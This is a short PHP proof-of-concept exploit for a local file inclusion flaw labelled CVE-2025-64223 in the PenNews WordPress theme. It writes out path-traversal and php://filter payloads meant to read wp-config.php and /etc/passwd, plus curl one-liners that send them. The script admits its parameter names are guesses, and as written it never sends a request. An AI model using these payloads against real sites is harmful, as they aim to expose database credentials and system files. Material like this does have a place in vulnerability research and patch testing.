CVE-2025-64223

<?php // CVE-2025-64223 PoC - PenNews Local File Inclusion // Target: WordPress site with PenNews theme < 6.7.3 $target = "http://target-site.com/"; // Target URL // PoC 1: Read wp-config.php $poc1 = array( 'action' => 'pennews_template', 'file' => '../../wp-config.php' ); // PoC 2: Read /etc/passwd (Linux) $poc2 = array( 'action' => 'pennews_template', 'file' => '../../../../../../etc/passwd' ); // PoC 3: Using PHP wrapper to read source $poc3 = array( 'action' => 'pennews_template', 'file' => 'php://filter/convert.base64-encode/resource=../../wp-config.php' ); echo "Testing CVE-2025-64223 on: $target\n"; echo "Vulnerability: Local File Inclusion in PenNews theme\n"; echo "Affected version: < 6.7.3\n"; echo "\nSending PoC requests...\n"; // Note: Replace 'action' and 'file' parameters based on actual vulnerable endpoint // Common patterns: ?template=../../wp-config.php or ?module=../../etc/passwd // Usage example with curl: // curl -X POST "$target" -d "action=pennews_template&file=../../wp-config.php" // curl "$target?action=pennews_template&file=php://filter/convert.base64-encode/resource=../../wp-config.php" ?>

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